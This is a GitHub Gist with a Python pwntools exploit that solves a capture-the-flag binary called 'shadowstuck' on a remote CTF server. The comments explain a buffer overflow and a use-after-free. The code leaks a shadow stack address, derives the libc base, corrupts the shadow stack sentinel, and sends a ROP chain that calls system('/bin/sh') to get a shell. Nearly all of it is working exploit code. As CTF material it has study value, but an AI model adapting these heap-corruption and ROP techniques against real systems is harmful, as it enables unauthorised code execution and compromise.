Created
November 8, 2020 18:09
-
-
Save farazsth98/3fb5739495e4f7181183aba4c34a63fc to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from pwn import * | |
elf = ELF("./shadowstuck") | |
libc = ELF("./libc-2.31.so") | |
#p = process("./shadowstuck", env={"LD_PRELOAD": "./libc-2.31.so"}) | |
p = remote("challenges.ctf.kaf.sh", 8000) | |
''' | |
Bug 1 - The quit function lets you cause a buffer overflow to overwrite the | |
return address of main, but you need to leak the shadow stack sentinel | |
to actually do anything | |
Bug 2 - In the fire employee function, when an employee is removed from the | |
global linked list of employees, the linked list is only properly | |
updated if the employee being removed is NOT the first employee in the | |
list. If the first employee is removed, the pointer remains in the list | |
which leads to a use after free later on | |
''' | |
def add(name): | |
p.recv() | |
p.sendline("A") | |
p.recv() | |
p.sendline(name) | |
def fire(name, reason): | |
p.recv() | |
p.sendline("F") | |
p.recv() | |
p.sendline(name) | |
p.recv() | |
p.sendline(reason) | |
def change(emp_id, name): | |
p.recv() | |
p.sendline("C") | |
p.recv() | |
p.sendline(str(emp_id)) | |
p.recv() | |
p.sendline(name) | |
def read(emp_id): | |
p.recv() | |
p.sendline("R") | |
p.recv() | |
p.sendline(str(emp_id)) | |
p.recvuntil("at ") | |
shadow_stack = int(p.recvline(), 16) | |
libc.address = shadow_stack + 0x2000 | |
system = libc.sym["system"] | |
bin_sh = next(libc.search(b"/bin/sh")) | |
pop_rdi = libc.address + 0x0000000000026b72 | |
ret = libc.address + 0x0000000000025679 | |
log.info("Shadow stack: " + hex(shadow_stack)) | |
log.info("Libc base: " + hex(libc.address)) | |
# Add an employee and remove them. The reason will reallocate and overwrite the | |
# next pointer. Set it to the shadow stack and set the sentinel to a pop rdi | |
# gadget | |
add("A"*4) | |
fire("A"*4, b"A"*0x10 + p64(shadow_stack)[:6]) | |
change(1, p64(ret)) | |
p.recv() | |
p.sendline("Q") | |
payload = b"A"*25 | |
payload += p64(ret) | |
payload += p64(pop_rdi) | |
payload += p64(bin_sh) | |
payload += p64(system) | |
p.recv() | |
p.sendline(payload) | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment